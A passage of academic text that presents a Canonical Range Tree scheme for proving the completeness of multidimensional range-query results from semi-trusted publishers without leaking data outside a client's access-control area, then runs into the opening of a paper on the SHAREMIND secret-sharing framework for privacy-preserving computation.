lishers are benign. When the publishers are compromised, the bottom line is
that the publishers cannot cheat the clients by giving them bogus query results.
Though in that case, data privacy might be violated. As the security model
discussed in [7], the publishers are not fully trusted. Although it seems contra-
dictory that the publishers are not fully trusted but yet are expected to protect
data privacy, such a combination of requirements is reasonable given the follow-
ing observations: (1) even highly secure systems cannot promise that they would
never be compromised, and cautious clients may require correctness verification
nevertheless. Leaking private information as a side effect of offering correctness

1 By privacy we mean the data should not be accessed by any unauthorized party;
from another perspective, it means the confidentiality of users’ data.
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verification (even when the publishers are benign) is problematic; (2) The semi-
trusted publisher model also fits well when the correctness requirement and the
privacy requirement are not equally stringent. For example, a data owner uti-
lizing such semi-trusted servers may want to ensure that clients can verify data
correctness. The data owner may be less concerned with data privacy (therefore
could tolerate semi-trusted publishers) but still want decent protection such that
information is not leaked voluntarily and access control is not trivially bypassed.

Achieving completeness of query results while preserving privacy is challeng-
ing. To achieve completeness, one needs to show that there exists no other record
in the query region other than the ones that are returned in the query result.
Most existing approaches leak information that is outside the query region and
the client’s accessible area, violating the privacy preserving requirement.

For instance, back to the above example. Recall that the user’s query is [15, 25)
and the correct result is {16, 18, 20}. Assume that the access control area for the
user is [10, 29), meaning that she can only access numbers in [10, 29). To prove
the completeness of the query result, the publisher should show that the following
numbers are not in the dataset: 15, 17, 19, 21− 24. Most existing solutions rely
on proving the adjacency of data points. The data owner signs the data pair
(20, 30) to indicate that there are no data points between 20 and 30 in the
dataset. The publisher can return the signed data pair as part of the proof of
completeness. However, in doing so, the data point 30, which is outside the
client’s access control area, is revealed to the client and thus data privacy is
violated. Besides data privacy, we also considers policy privacy, where the client
should not know the boundaries of other users’ access control areas (details in
Section 3.3). In [7] Pang et al. proposed a scheme which allows correctness
verification while preserving the privacy of data records. However, the solution
applies only to one dimensional range queries, which is a significant limitation
given the multidimensional nature of the relational databases today.

In this paper, we present a novel scheme for proving the correctness of query
results produced by data publishers. Our approach preserves data privacy and
therefore can be used to perform access control. Our approach does not rely on
proving the adjacency of neighboring data points for completeness verification,
and can handle multi-dimensional queries.

The rest of the paper is organized as follows. Section 2 discusses the related
work. Section 3 gives the security model and formalizes the problem. Section 4
presents our verification scheme. Section 5 analyzes the time and space efficiency
of our scheme and discusses experimental results. Section 6 concludes the paper.

2 Related Work

Query-answering with third party publishing has been studied in the computer
security and cryptography community under the name authenticated dictio-
nary [1,9,10]. Schemes using Merkle Tree [11] and skip lists have been pro-
posed; however these approaches assume that the data is public and do not
consider the access control requirement. In [1], a scheme based on Merkle Tree is
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proposed to guarantee the authenticity and completeness. In [12], this approach
is generalized and applied to other authenticated data structures. Data struc-
tures based on space and data partitioning are introduced in [13] for verifying
multi-dimensional query results. In these approaches, data privacy is not pre-
served. A scheme to verify the integrity of the query results in edge computing
is proposed in [14]. The scheme does not check the completeness of query re-
sults. The security model in [15], where semi-trusted service providers answer
user queries on behalf of the data owner, is similar to ours.

In order to preserve the data privacy, [7] proposed another scheme to solve
the problem. This approach handles one-dimensional case well, but it cannot
be applied to two or higher dimensional cases. In [6], the overheads and perfor-
mances of different approaches to guarantee the authenticity and completeness
are compared.

Several approaches are proposed for enforcing access control policies in out-
sourced XML documents [16,17,18]. The XML documents, which can be viewed
as trees, present different structures from relational databases.

The data structure and algorithms derived in this paper uses the divide-and-
conquer strategy developed in data structures and algorithms for range searching
by the computational geometry community [19,20,21]. Our approach is unique
in that our approach addresses the specific requirements of outsourced data
publishing, especially the need to efficiently prove the search results. Also our
solution incurs low communication and storage overhead when updating the data
items and/or the access policies of clients.

3 Problem Overview

In this section we discuss the security model and requirements of the problem.

3.1 Security Model

The security model for our scheme is the same as that of [7]. We assume the data
owners are secure and trusted. Each data owner maintains one public/private
key pair for signing data and verifying data. We also assume that the publishers
and clients can obtain the correct public keys for each data owner through some
secure channel. The clients should be able to verify the authenticity, completeness
and freshness of the query results using the public keys of the data owners. When
the clients perform the query verification, they should not be able to gain any
information that they do not have access to.

3.2 Formalization

The dataset contains k attributes A1, . . . , Ak. We assume that each attribute is
of an integer. We assume the ranges of all attributes are [0, N), and N is a power
of two. Hence each record can be represented by a point in the k-space. Let T
denote the set of all the points in the dataset, we have T ⊆ [0, N)k.
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Given any record r ∈ T , let Ai(r) denote the value of the ith attribute of the
record. The client may issue a range query Q(L1, R1, . . . , Lk, Rk), which defines
a query space q = [L1, R1) × · · · × [Lk, Rk) ⊆ [0, N)k A client submits Q to get
the result T ′ = T ∩ q. Upon receiving the query, the publisher will provide the
client with the query result T ′ with a verification object VO to guarantee the
authenticity and completeness.

The publishers enforce access control policies on the clients to protect privacy.
Suppose we have a payroll database, and each record contains salary, rank and
other information of an employee. Access control policies enforce that a particu-
lar accountant can only access the records with the salary below 20, 000 and the
rank below 10. We call this accessible space of a user. The access policy enforced
on a user is represented as AC(L1, R1, . . . , Lk, Rk). The accessible space ac of a
user is a sub-space in the k-space:

ac = [L1, R1)× · · · × [Lk, Rk) ⊆ [0, N)k (1)

3.3 Requirements

In order to prove the correctness of the query results, authenticity and com-
pleteness need to be satisfied. At the same time, privacy needs to be preserved:
(1) the client should not get any information about any data that is outside the
client’s access control area; (2) the client should not learn any information about
the access control policies except her own access control policy.

Suppose the result of a query is T ′′, and the database is T , we say that
the result is authentic when T ′′ ⊆ T . Suppose the range query space is q, if
∀r ∈ T r ∈ q ⇒ r ∈ T ′′, we say the result is complete.

Suppose the accessible space for the user is ac. The records within the user’s
accessible space are v = T ∩ ac, and the points that are outside the accessible
space are v′ = T − v. Suppose v0 ⊆ [0, N)k is a set of data points, we use
P1(v′ = v0) to denote the probability that the data points outside ac are a
particular set v0 when the user observes all the data points in ac. After observing
the verification object, the user has another probability function P2(v′ = v0)
which denotes the probability that the data points outside ac are a particular
set v0. The privacy is preserved if

∀v0 ⊆ [0, N)k P1(v′ = v0) = P2(v′ = v0) (2)

In our approach, we use a more practical (and stronger) definition for privacy
preserving: data privacy is preserved if VO only depends on the access control
policy of the user and the records within the user’s accessible space:

VO = VO(v, ac) (3)

4 Query Result Verification

As described in some related works, there are several ways to guarantee the au-
thenticity of the query result. The main challenge is to prove the completeness
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while preserving the privacy. Thus our main focus is on proving completeness.
For simplicity and easier description, we assume that the data owner signs each
data point in the database for authenticity verification. Previous works on more
efficient data integrity verification and data freshness verification can be com-
bined with our scheme [1,6,8].

Our solution to the problem is based on the following insight: when we are
limited to using only information in a region, proving a positive statement saying
that there exists a record in a region is easy, but proving a negative statement
saying that there does not exist a record in a region in a privacy-preserving way
is difficult. Our approach aims to turn a negative proof for completeness into a
positive proof.

4.1 Solution Overview

Suppose the query space is q and the access control space is ac. There are nq

records in the query space. The publisher returns those nq records as the query
results. To prove those are the only records in the query space, the publisher
proves:

1. There are totally nac records in ac.
2. There are at least nac − nq records in ac− q (the area outside q and inside

ac).

An example is shown in Figure 1. Data points A, B, C, D, E are inside ac, where
A, B are inside q. F, G, H, I are outside ac. The publisher first returns A, B as
the query result. To prove there are only two records in the query space, the
publisher will prove that: (1) there are totally 5 records inside ac; (2) there are
at least 3 records in ac− q.

To achieve this, the data owner will provide a signature indicating that there
are nac data points in ac. Also the data owner needs to provide efficient proof

Fig. 1. Solution Overview
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that there are at least nac−nq data points in ac−q. We propose a data structure
to provide the efficient proof.

Intuitively, the reason we use the data points in ac − q is that it is easier to
prove “existence” than “non-existence”. As in Figure 1, if we only construct the
VO using data points in q, we need to prove that all the space in q is empty
except for A and B. This is not an easy task since the query space can be any
subspace inside ac and is not predictable. In contrast, to prove the existence of
data points only requires using data points in ac− q. In this case, the publishers
only need to provide the number of data points in ac−q, which can be produced
efficiently utilizing aggregated counting data structures, instead of the actual
values of these data points.

To prove the existence of a number of records in ac− q, we need an efficient
proof. A trivial solution is to return all the records in ac−q, which is too expensive
therefore not practical. To solve this problem, we design a data structure called
Canonical Range Tree, the details of which are discussed in section 4.2.

Thus, there are three components in the VO : the authentication data structure
which proves the authenticity of the data records in the query result; the number
of records in the accessible space of the client, which is signed by the data owner;
and the number of records in ac − q which is also authenticated by the data
owner. Note that although ac− q is different for different queries, our approach
does not require the data publisher to contact the data owner for each query.
The authentication data structure we developed allows the data publisher to
efficiently prove to the client the number of data records in a particular ac− q.

4.2 Canonical Range Tree

To better explain our idea, we define the following concepts in k-space.

Definition 1 (Cube). A sub-space of the k-space in the following form is called
a cube: [L1, R1)× · · · × [Lk, Rk).

Definition 2 (Shell). A sub-space of the k-space in the form c1 − c2 is called
a shell. Here c1 and c2 are both k-dimensional cubes and c2 ⊆ c1.

From the problem definition, a query space is a cube, the accessible space of a
client is also a cube. The space inside a user’s accessible space but outside the
query space is a shell.

Range tree [20,22] is a data structure used in computational geometry to store
points in k-space. In our solution, we use a modified version of range tree. It is
called Canonical Range Tree, or CRT for short.

We use CRT to store the counting information for data points. And we will
use a set of nodes of the tree as evidence of existence of records in the shell. We
first discuss one dimensional CRT. In this case CRT is used to store a list of
numbers x1, . . . , xn. One dimensional CRT is a binary tree. Each node of the tree
corresponds to an interval. Suppose node is a CRT node, it stores the number
of points in the interval [node.l, node.r).
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If the interval of a node is a unit interval (node.l + 1 = node.r) the node is a
leaf node. The size of the interval of a node node.r − node.l is always a power
of 2. We call [node.l, (node.r + node.l)/2) the left sub-interval, and [(node.r +
node.l)/2, node.r) the right sub-interval.

Suppose there are n′ records in the left sub-interval, node will have a left child
node1 if n′ > 0:

node1.l = node.l node1.r = (node.r + node.l)/2 node1.cnt = n′

And node will have a right child node2 if n′ < node.cnt:

node2.l = (node.l + node.r)/2 node2.r = node.r node2.cnt = node.cnt− n′

We refer to the left and right child of node as node.c1 and node.c2. Each of them
can be nil if empty. The root node of the tree corresponds to the interval [0, N).
Figure 2 shows a CRT storing the list of 3 numbers: 5, 12, 15.

[0,16) 3

[0,8) 1 [8,16) 2

[4,8) 1

[4,6) 1

[5,6) 1

[12,16) 2

[12,14) 1 [14,16) 1

[12,13) 1 [15,16) 1

Fig. 2. 1-D CRT Example

[0,16) 3

[5,6) 1 [12,16) 2

[12,13) 1 [15,16) 1

Fig. 3. Optimized 1-D CRT

Now we discuss how to build a CRT for 2-D space. Suppose we have a list
of points (x1, y1), . . . , (xn, yn). We first build a 1-D CRT for the list of num-
bers x1, . . . , xn. This tree is called the primary structure. Then for every node
node of the primary structure, suppose there are n′ points of which the first
coordinate is in the interval [node.l, node.r). By definition node.cnt = n′. Let
(x′

1, y
′
1), . . . , (x

′
n′ , y′

n′) be those points. We then build a one dimensional CRT for
this node, to store information for the numbers y′

1, . . . , y
′
n′ . In this way, we build

a primary structure on the first attribute of the data points, and for every node
of the primary structure, we build a secondary structure. For each node node of
the primary structure, node.sec stores the root of the corresponding secondary
structure. This completes the CRT construction for 2-D space. Figure 4 gives an
example of a 2-D CRT to store a list of 3 points: (5, 10), (12, 4), (15, 19).

For two dimensional CRT, we call a node of the primary structure a 1st order
node, and a node of the secondary structure a 2nd order node. A 1st order node
node stores the number of points in the area [node.l, node.r) × [0, N). Suppose
node′ is a node belongs to the secondary structure attached to node, then node′

stores the number of points in the area [node.l, node.r)× [node′.l, node′.r).
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[0,16) 3 1-d CRT for {4,10,19}

[0,8) 1 [8,16) 2...

[4,8) 1 ...

[4,6) 1 ...

[5,6) 1 ...

1-d CRT for {4,19}

[12,16) 2 1-d CRT for {4,19}

[12,14) 1 [14,16) 1...

[12,13) 1 ...

...

[15,16) 1 ...

Fig. 4. Two-dimensional CRT Example

We can construct k dimensional CRTs similarly. There are 1st, 2nd, . . . , kth
order nodes in a k-D CRT. Every tth (t < k) order node has a t+1-ary structure.
The insertion and deletion algorithms of CRT are shown in Figure 5 and Figure 6.

function CRT Insert(r, node, t)
node.cnt ← node.cnt + 1
if t < k then

if node.sec = nil then
create node.sec with [0, N)

CRT Insert(r, node.sec, t + 1)

if node.r − node.l > 1 then
mid = (node.l + node.r)/2
if At(r) < mid then

if node.c1 = nil then
create node.c1 with [node.l, mid)

CRT Insert(r, node.c1, t)
else

if node.c2 = nil then
create node.c1 with [mid, node.r)

CRT Insert(r, node.c2, t)

Fig. 5. CRT Insertion

function CRT Delete(r, node, t)
node.cnt ← node.cnt − 1

if t < k then
CRT Delete(r, node.sec, t + 1)
if node.sec.cnt = 0 then

remove node.sec

if node.r − node.l > 1 then
mid = (node.l + node.r)/2
if At(r) < mid then

CRT Delete(r, node.c1, t)
if node.c1.cnt = 0 then

remove node.c1
else

CRT Delete(r, node.c2, t)
if node.c2.cnt = 0 then

remove node.c2

Fig. 6. CRT Deletion

4.3 Constructing Evidence in a Cube/Shell

Given a cube/shell, CRT nodes could be used as proof of existence of all the
records in the cube/shell. In both cases, the evidence is a list of verified non-
overlapping kth order CRT nodes. The counter of a such node gives the number
of records in the corresponding sub-space. Summing up the counters we get a
proof of existence of the records.

Suppose a cube is c = [L1, R1) × · · · × [Lk, Rk), recursive function
Cnt Cube(node, t, c) in Figure 7 returns a list of CRT nodes as evidence in c.

Function Cnt Shell(node, t, c, c′) in Figure 8 returns a list of non-overlapping
kth order nodes as evidence for shell c − c′, where c′ ⊆ c.

Note that in the solution, we need to provide evidence outside the query space
and inside the accessible space, which is a shell. The above algorithm is used to
achieve this.

4.4 VO Construction

The data owner will maintain a k-dimensional CRT for all the records. Suppose
there are n records in the database, the owner will first build an empty CRT
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function Cnt Cube(node, t, c)
if node.r ≤ Lt ∨ node.l ≥ Rt then

return φ

if node.l ≥ Lt ∧ node.r ≤ Rt then
if t = k then

return {node}
else

return Cnt Cube(node.sec, t+1, c)
else

ret ← φ
if node.c1 �= nil then

ret ← ret ∪ Cnt Cube(node.c1, t, c)
if node.c2 �= nil then

ret ← ret ∪ Cnt Cube(node.c2, t, c)
return ret

Fig. 7. Constructing Evidence in a Cube

function Cnt Shell(node, t, c, c′)
if node = nil then

return φ

if c.Lt ≤ node.l ∧ node.r ≤ c′.Lt then
x ← c
x.Rt ← c′.Lt
return Cnt Cube(node, t, x)

if c′.Rt ≤ node.l ∧ node.r ≤ c.Rt then
x ← c
x.Lt ← c′.Rt
return Cnt Cube(node, t, x)

if c′.Lt ≤ node.l ∧ node.r ≤ c′.Rt then
if t = k then

return φ

return Cnt Shell(node.sec, t + 1, c, c′)

ret ← φ
if [c.Lt, c.Rt)∪[node.c1.l, node.c1.r) �= φ then

ret ← ret∪ Cnt Shell(node.c1, t, c, c′)
if [c.Lt, c.Rt)∪[node.c2.l, node.c2.r) �= φ then

ret ← ret∪ Cnt Shell(node.c2, t, c, c′)
return ret

Fig. 8. Constructing Evidence in a Shell

and then insert the n records. The owner should also guarantee the integrity
of the CRT nodes, so the user can use the CRT nodes to verify the number
of records in a shell. Verifying whether a CRT node is generated by the owner
is a membership testing problem. This problem is not the focus of this work,
any solution for membership testing that incurs low storage and communication
overhead can be used in our scheme, e.g., authenticated dictionary [9,10].

Also, the data owner will maintain a counter for each access control space.
Suppose there are m access control spaces ac1, . . . , acm, the data owner maintains
and signs the pairs (ac1, cnt1), . . . , (acm, cntm). cnti is the number of records in
access control space aci. The data owner can call the function Cnt Cube for acm

to get the list of nodes and add up the counters of the nodes to get cnti.
Canonical range tree has a nice property: given any k dimensional rectangu-

lar space S, say there are a points from T that are inside S. CRT can use a
small number of non-overlapping nodes that are completely within S, to prove
that there are at least a points in S. This property is very useful in our VO
construction.

The data owner will give the signed CRT and the signed list of access control
counters to the publisher. When the client submits a query with query space
q, the publisher will return the query result to the client with the following
Verification Object(suppose the access control space of the client is ac):

– The metadata for the user to verify the integrity of the records in the query
result.

– The verifiable number of records in the user’s accessible space ac.
– A set of verifiable CRT nodes that can be used to verify that there are at

least nac − nq records in ac − q. This evidence could be collected by calling
the function Cnt Shell.
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4.5 Optimization

In Figure 2, we can see several “redundant” nodes, such as 〈[0, 8), 1〉, 〈[4, 8), 1〉,
〈[4, 6), 1〉. These nodes do not provide additional information. If we want to use,
e.g., 〈[4, 6), 1〉 in the VO , we can always use 〈[5, 6), 1〉 instead. The size of VO
will not be increased, and the privacy is preserved (if the user is allowed to gain
information in [4, 6), she is also allow to gain information in [5, 6).

Generally, if a node has only one child, we can simply remove this node.
After removing all redundant nodes, each non-leaf node will have exactly two
child nodes. After optimization, the CRT in Figure 2 becomes the tree CRT in
Figure 3.

Extending this optimization to higher dimensional cases is non-trivial. we have
two versions of optimization for higher dimensional cases:

– Applying the optimization to the last dimensional nodes. This version is
called LastDimOpt scheme. The CRT nodes of this version are a subset of
basic scheme, and data updating for LastDimOpt scheme is more efficient
than the basic scheme.

– Applying the optimization to all dimensional nodes. This version is called
AllDimOpt scheme. The CRT nodes of this version are a subset of the Last-
DimOpt scheme. If there are only insertions, the amortized updating cost of
this version is smaller than the basic scheme and the LastDimOpt scheme.
But the cost of inserting or deleting a specific record could be large. Therefore
LastDimOpt scheme can be used when the database is static, insertion-only,
or does not require frequent deletions.

Note that the number of CRT nodes in VO is the same for all three schemes.
There is a one to one mapping of the CRT nodes in the VOs of the three schemes.

5 Evaluation

5.1 Theoretical Analysis

This section discusses the cost of various CRT operations. The theorems can be
proved through induction. The proofs are omitted here due to space constraints.

Following theorems give the upper-bound of the number of nodes needed to
prove the existence of all nodes in a cube/shell, and the cost of inserting a record
into CRT.

Theorem 1. If there are k attributes for every record, the range of the values
for each attribute is [0, N), at most 2k(log N)k CRT nodes are needed to cover
all the data points in a k dimensional cube.

Theorem 2. At most 4 · (2 log N)k nodes of the CRT are needed to cover all the
data points in a k dimensional shell.

Theorem 3. To insert a record to a k dimensional CRT, the insertion algorithm
will visit at most log N+1

log N ·
(
(log N + 1)k − 1

)
nodes. Creating a node is also

considered as visiting a node.
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The theorem implies that the time complexity for inserting a record into CRT
is O((log N)k).

The cost of different operations are listed below. Suppose there are m different
access control areas:

– The storage overhead to store the CRT is bounded by n · log N+1
log N ·(

(log N + 1)k − 1
)
≈ n · (log N)k (when log N is sufficiently large).

– The size of the evidence for all records in a cube is bounded by (2 log N)k.
– The size of the evidence of a shell is bounded by 4 · (2 logN)k. The time

cost to insert or delete a record in the database is O((log N)k + m). This
cost includes the cost incurred in the data owner site and the cost in the
publisher site.

– The time cost to build the database is O(n(log N)k).
– The time cost to setup an access control policy is O((2 log N)k). The com-

munication cost is O(1).
– The time cost to construct the VO is O((2 log N)k).

One advantage of our scheme is that the size of the proof for completeness is
independent of the size of the query result. Also it is independent of the number
of records in the database.

After last dimension optimization, the storage cost of k dimensional CRT can
be reduced from O(n(log N)k) to O(n(log N)k−1).

5.2 Experimental Results

In this section, we discuss the efficiency of our approach based on empirical data.
We implemented three versions of the CRT data structure: the basic scheme, the
LastDimOpt scheme, and the AllDimOpt scheme.

Storage Overhead. The storage size needed to store the CRT is linear in the
number of nodes. Figure 9 shows the average number of CRT nodes needed for
each data record, against the size of the database. Each figure shows the results
for three versions of CRT. The test data is generated randomly. For a k di-
mensional database, each record is generated independently. And each attribute
value of a record is generated independently from a uniform distribution over
[0, N).

The basic scheme incurs the highest overhead. In basic scheme, the number
of CRT nodes needed per record decreases when the number of records grows.
The intuition is that more records “share” tree nodes when database grows.

The LastDimOpt scheme makes a big improvement over the basic scheme.
Also the number of CRT nodes needed per records almost doesn’t change with
the growth of the database.

The AllDimOpt scheme improves over LastDimOpt significantly, especially
in high dimensional cases. The number of CRT nodes needed per record grows
slowly when database grows. If the application does not involve frequent updates,
we can use optimization on all dimensions to save a lot of storage space.
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(c) Three Dimensional CRT (d) Four Dimensional CRT
X-axis: number of records in the database. Y-axis: average number of CRT nodes

needed for each record. N = 2048 for all test cases. Each data point is the average of
10 independent runs using randomly generated data. In (d) we omit the data for basic
scheme due to large overhead.

Fig. 9. Storage Overhead

Communication Overhead. The communication overhead of verification de-
pends on the VO size. Since a VO mostly consists of a set of CRT nodes, we use
the number of CRT nodes in the VO to represent the VO size.

Figure 10 shows the number of CRT nodes in the VO against the number of
points in the shell (which is inside the user’s accessible space but outside the
query space). In a k dimensional database, a query is generated as following.
For each dimension i, four integers are generated independently by the uniform
distribution over [0, N ]. The four integers are sorted in non-decreasing order,
we have Ri,1 ≤ Ri,2 ≤ Ri,3 ≤ Ri,4. In this query, the access control space of
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bar in (a) shows the maximum, average and minimum number of CRT nodes in VO for
all the queries that have 0 to 10000 records in ac − q.

Fig. 10. VO Size
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the user is ac = [R1,1, R1,4) × · · · × [Rk,1, Rk,4) and the query space is q =
[R1,2, R1,3)× · · · × [Rk,2, Rk,3). Each query is generated independently.

The parameters used in the testing are shown in Figure 10. From the figures
we can see that the size of VO grows slowly with the number of records in the
shell. For 1-D, 2-D and 3-D cases respectively, the VO sizes of queries are less
than 45, 450 and 2.5k, while the number of records in the shell is up to 200k,
80k and 75k. The VO size is quite small compared to the number of records in
the shell.

From the figures we observe that with greater number of dimensions, the VO
size grows faster with respect to the number of records in the shell. This trend
is also shown by our theoretical analysis. In addition, our scheme favors denser
data, because under the same k and same N , when the size of database grows,
the size of VO does not grow significantly. Making the database denser will make
the ratio of VO size against number of records in the shell smaller.

6 Conclusions

We formalize the query verification problem in third-party data publishing, in
which we need to guarantee the authenticity and completeness of the query
results, while preserving the data privacy. We provide a novel solution for this
problem, in which we convert proving of non-existence to proving of existence
of data records. Our solution can be used for multiple dimensional range queries
and scales well to a reasonable number of dimensions. Based on the theoretical
analysis and empirical data, we show that our solution is efficient in terms of
storage and communication overhead.
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Abstract. Gathering and processing sensitive data is a difficult task. In fact, there
is no common recipe for building the necessary information systems. In this pa-
per, we present a provably secure and efficient general-purpose computation sys-
tem to address this problem. Our solution—SHAREMIND—is a virtual machine
for privacy-preserving data processing that relies on share computing techniques.
This is a standard way for securely evaluating functions in a multi-party computa-
tion environment. The novelty of our solution is in the choice of the secret sharing
scheme and the design of the protocol suite. We have made many practical de-
cisions to make large-scale share computing feasible in practice. The protocols
of SHAREMIND are information-theoretically secure in the honest-but-curious
model with three computing participants. Although the honest-but-curious model
does not tolerate malicious participants, it still provides significantly increased
privacy preservation when compared to standard centralised databases.

1 Introduction

Large-scale adoption of online information systems has made both the use and abuse of
personal data easier than before. This has caused an increased awareness about privacy
issues among individuals. In many countries, databases containing personal, medical or
financial information about individuals are classified as sensitive and the corresponding
laws specify who can collect and process sensitive information about a person.

On the other hand, the use of sensitive information plays an essential role in medical,
financial and social studies. Thus, one needs a methodology for conducting statistical
surveys without compromising the privacy of individuals. Privacy-preserving data min-
ing techniques try to address such problems. So far the focus has been on randomised
response techniques [1,2,13]. In a nutshell, recipients of the statistical survey apply a
fixed randomisation method on their responses. As a result, each individual reply is
erroneous, whereas the global statistical properties of the data are preserved. Unfortu-
nately, such transformations can preserve privacy only on average and randomisation
reduces the precision of the outcomes. Also, we cannot give security guarantees for in-
dividual records. In fact, the corresponding guarantees are rather weak and the use of
extra information might significantly reduce the level of privacy.

Another alternative is to consider this problem as a multi-party computation task,
where the data donors want to securely aggregate data without revealing their private
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inputs. However, the corresponding cryptographic solutions quickly become practically
intractable when the number of participants grows beyond few hundreds. Moreover,
data donors are often unwilling to stay online during the entire computation and their
computers can be easily taken over by adversarial forces.

As a way out, we propose a hierarchical solution, where all computations are done by
dedicated miner parties who are less susceptible to external corruption. Consequently,
we can assume that only a few miner parties can be corrupted during the computation.
Thus, we can use secret sharing and share computing techniques for privacy-preserving
data aggregation. In particular, data donors can safely submit their inputs by sending
the corresponding shares to the miners. As a result, the miners can securely evaluate
any aggregate statistic without further interaction with the data donors.

Our Contribution. The presented theoretical solution does not form the core of this
paper. Share computing techniques have been known for decades and thus all impor-
tant results are well established by now, see [3,7] for further references. Hence, we
focused mainly on practical aspects and developed the SHAREMIND framework for
privacy-preserving computations. The SHAREMIND framework is designed to be an
efficient and easily programmable platform for developing and testing various privacy-
preserving algorithms. It consists of the computation runtime environment and a pro-
gramming library for creating private data processing applications. As a result, one can
develop secure multi-party protocols without the explicit knowledge of all implementa-
tion details. On the other hand, it is also possible to test and add your own protocols to
the library, since the source code of SHAREMIND is freely available [17].

We have made some non-standard choices to assure maximal efficiency. First, the
SHAREMIND framework uses additive secret sharing scheme over the ring Z232 . Be-
sides the direct computational gains, such a choice also simplifies many share comput-
ing protocols. When a secret sharing protocol is defined over a finite field Zp, then any
overflow in computations causes modular reductions that corrupt the end result. In the
SHAREMIND framework, all modular reductions occur modulo 232 and thus results al-
ways coincide with the standard 32-bit integer arithmetic. On the other hand, standard
share computing techniques are not applicable for the ring Z232 . In particular, we were
forced to roll out our own multiplication protocol, see Sect. 4.

Second, the current implementation of SHAREMIND supports the computationally
most efficient setting, where only one of three miner nodes can be semi-honestly cor-
rupted. As discussed in Sect. 3, the corresponding assumption can be enforced with a
reasonable practical effort. Also, it is possible to extend the framework for other set-
tings. For example, one can implement generic methodology given in [9].

To make the presentation more fluent, we describe the SHAREMIND framework step
by step through Sect. 2–5. Performance results are presented and analysed in Sect. 6.
In particular, we compare our results with other implementations of privacy-preserving
computations [6,16,18]. Finally, we conclude our presentation with some improvement
plans for future, see Sect. 7.

Some of the details of this work have been omitted because of space limitations. The
full version of this article that covers all these details can be found on the homepage of
SHAREMIND project [17] and in the IACR ePrint Archive [5].
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2 Cryptographic Preliminaries

Theoretical Attack Model. In this article, we state and prove all security guarantees
in the information-theoretical setting, where each pair of participants is connected with
a private communication channel that provides asynchronous communication. In other
words, a potential adversary can only delay or reorder messages without reading them.
We also assume that the communication links are authentic, i.e., the adversary cannot
send messages on behalf of non-corrupted participants. The adversary can corrupt par-
ticipants during the execution of a protocol. In the case of semi-honest corruption, the
adversary can only monitor the internal state of a corrupted participant, whereas the
adversary has full control over maliciously corrupted participants. We consider only
threshold adversaries that can adaptively corrupt up to t participants. Such an attack
model is well established, see [4,14] for further details.

Secondly, we consider only self-synchronising protocols, where the communication
can be divided into distinct rounds. A protocol is self-synchronising if the adversary
cannot force (semi-)honest participants to start a new communication round until all
other participants have completed the previous round. As a result, this setting becomes
equivalent to the standard synchronised network model with a rushing adversary.

Secure Multi-party Computation. Assume that participants P1, . . . , Pn want to com-
pute outputs yi = fi(x1, . . . , xn) where x1, . . . , xn are corresponding private inputs.
Then the security of a protocol π that implements the described functionality is defined
by comparing the protocol with the ideal implementation π◦, where all participants sub-
mit their inputs x1, . . . , xn securely to the trusted third party T that computes the neces-
sary outputs yi = fi(x1, . . . , xn) and sends y1, . . . , yn securely back to the respective
participants. A malicious participant Pi can halt the ideal protocol π◦ by submitting
xi = ⊥. Then the trusted third party T sends ⊥ as an output for all participants. Now
a protocol π is secure if for any plausible attack A against the protocol π there exists a
plausible attack A◦ against the protocol π◦ that causes comparable damage.

For brevity, let us consider only the stand-alone setting, where only a single protocol
instance is executed and all honest participants carry out no side computations. Let
φi = (σi, xi) denote the entire input state of Pi and let ψi = (φi, yi) denote the entire
output state. Similarly, let φa and ψa denote the inputs and outputs of the adversary
and φ = (φ1, . . . , φn, φa), ψ = (ψ1, . . . , ψn, ψa) the corresponding input and output
vectors. Then a protocol π is perfectly secure if for any plausible τre-time real world
adversary A there exists a plausible τid-time ideal world adversary A◦ such that for any
input distribution φ ← D the corresponding output distributions ψ and ψ◦ in the real
and ideal world coincide and the running times τre and τid are comparable.

In the asymptotic setting, the running times are comparable if τid is polynomial in
τre. For fixed time bound τre, one must decide an acceptable time bound τid by him-
or herself. All security proofs in this article are suitable for both security models, since
they assure that τid ≤ c · τre where c is a relatively small constant.

In our setting, a real world attack A is plausible if it corrupts up to t participants. The
corresponding ideal world attack A◦ is plausible if it corrupts the same set of partici-
pants as the real world attack. Further details and standard results can be found in the
manuscripts [3,7,8,11].
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Universal Composability. Complex protocols are often designed by combining sev-
eral low level protocols. Unfortunately, stand-alone security is not enough to prove the
security of the compound protocol and we must use more stringent security definitions.
More formally, let �〈·〉 be a global context that uses the functionality of a protocol π.
Then we can compare real and ideal world protocols �〈π〉 and �〈π◦〉.

Let φ, ψ, ψ◦ denote the input and output vectors of the compound protocols �〈π〉
and �〈π◦〉. Then a protocol π is perfectly universally composable if for any plausible
τre-time attack A against �〈π〉 there exists a plausible τid-time attack A◦ against �〈π◦〉
such that for any input distribution φ ← D the output distributions ψ and ψ◦ coincide
and the running times τre and τid are comparable. We refer to the manuscript [8] for a
more formal and precise treatment.

Secret Sharing Schemes. Secret sharing schemes are used to securely distribute pri-
vate values to a group of participants. More precisely, let M be the set of possible
secrets and let S1, . . . , Sn be the sets of possible shares. Then shares for the partici-
pants are created with a randomised sharing algorithm Deal : M → S1 × . . . × Sn.
Participants can use a recovery algorithm Rec : S1×. . .×Sn → M∪{⊥} to restore the
secret form shares. For brevity, we use a shorthand [[s]] to denote the shares [s1, . . . , sn]
generated by the sharing algorithm Deal(s).

Secret sharing schemes can have different security properties depending on the exact
details of Deal and Rec algorithms. The SHAREMIND framework uses additive sharing
over Z232 , where a secret value s is split to shares s1, . . . , sn ∈ Z232 such that

s1 + s2 + · · · + sn ≡ s mod 232

and any n − 1 element subset {si1 , . . . , sin−1} is uniformly distributed. As a result,
participants cannot learn anything about s unless all of them join their shares.

3 Privacy-Preserving Data Aggregation

As already emphasised in the introduction, organisations who collect and process data
may abuse it or reveal the data to third parties. As a result, people are unwilling to reveal
sensitive information without strong security guarantees. Although proper legislation
and auditing reduces the corresponding risks, data donors must often unconditionally
trust institutions that gather and process data. In the following, we show how to use
cryptographic techniques to avoid such unconditional trust.

The SHAREMIND framework for privacy-preserving computations uses secret shar-
ing to split confidential information between several nodes (miners). By sending the
shares of the data to the miners, data donors effectively delegate all rights over the data
to the consortium of miners. Let t be the prescribed corruption threshold such that no
information can be learnt about the inputs if the number of collaborating corrupted par-
ties is below t. We allow some miner nodes to be corrupted, but require that the total
number of corrupted nodes is below the threshold t. The latter can be achieved with
physical and organisational security measures such as dedicated server rooms and soft-
ware auditing. This is achievable, since the framework needs only a few miner nodes.
In practice, each miner node should be hosted by a separate respected organisation.
